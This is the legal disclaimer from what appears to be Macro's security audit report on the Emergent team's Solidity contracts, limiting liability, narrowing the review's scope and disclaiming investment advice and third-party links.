Macro will not be liable for any lost profits, business, contracts, revenue, goodwill, production, anticipated savings, loss of data, or costs of procurement of substitute goods or services or for any claim or demand by any other party. In no event will Macro be liable for consequential, incidental, special, indirect, or exemplary damages arising out of this agreement or any work statement, however caused and (to the fullest extent permitted by law) under any theory of liability (including negligence), even if Macro has been advised of the possibility of such damages.

The scope of this report and review is limited to a review of only the code presented by the Emergent team and only the source code Macro notes as being within the scope of Macro's review within this report. This report does not include an audit of the deployment scripts used to deploy the Solidity contracts in the repository corresponding to this audit. Specifically, for the avoidance of doubt, this report does not constitute investment advice, is not intended to be relied upon as investment advice, is not an endorsement of this project or team, and it is not a guarantee as to the absolute security of the project. In this report you may through hypertext or other computer links, gain access to websites operated by persons other than Macro. Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such websites' owners. You agree that Macro is not responsible for the content or operation of such websites, and that Macro shall have no liability to your or any other person or entity for the use of third party websites. Macro assumes no responsibility for the use of third party software and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software.